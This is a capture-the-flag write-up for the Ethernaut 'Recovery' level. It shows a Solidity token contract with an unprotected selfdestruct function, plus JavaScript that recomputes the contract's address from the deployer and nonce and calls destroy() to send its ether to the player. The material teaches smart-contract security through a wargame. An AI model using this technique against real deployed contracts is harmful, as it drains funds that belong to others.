17 - Recovery

calculating contract address

Ethernaut Level17: Recovery

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value * 10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender] - _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Goal of this level

• recover (or remove) the 0.001 ether from the lost contract address

What you should know before

• How the address of an Ethereum contract is computed -> see here

• RLP Encoding -> see here

Solution

Key to solve this problem 🔑

We will recalculate the address of the contract using instance address and its nonce.

There are 2 ways to solve this level.

1. Recalculate the address from instance address and its nonce

2. Search instance addresss on Etherscan

Using Etherscan might be way easier, but we will solve this level by recalculating the address.

> const recoveredAddr = _ethers.utils.getContractAddress({
  from: instance,
  nonce: '1',
});

_ethers.utils.getContractAddress gets address, nonce as input and calculates rightmost_20_bytes(keccak(RLP(sender address, nonce))) under the hood.

Now we know the lost address.

We just have to call destroy() function.

> const functionSelector = web3.eth.abi.encodeFunctionSignature("destroy(address)");

> const param = web3.eth.abi.encodeParameter("address", player).substr(2);

> const calldata = functionSelector + param;

> await web3.eth.sendTransaction({
    from: player,
    to: recoveredAddr,
    data: calldata
});

Done! 😎

Key Takeaways

• contract address can be calculated with deployer address and its nonce.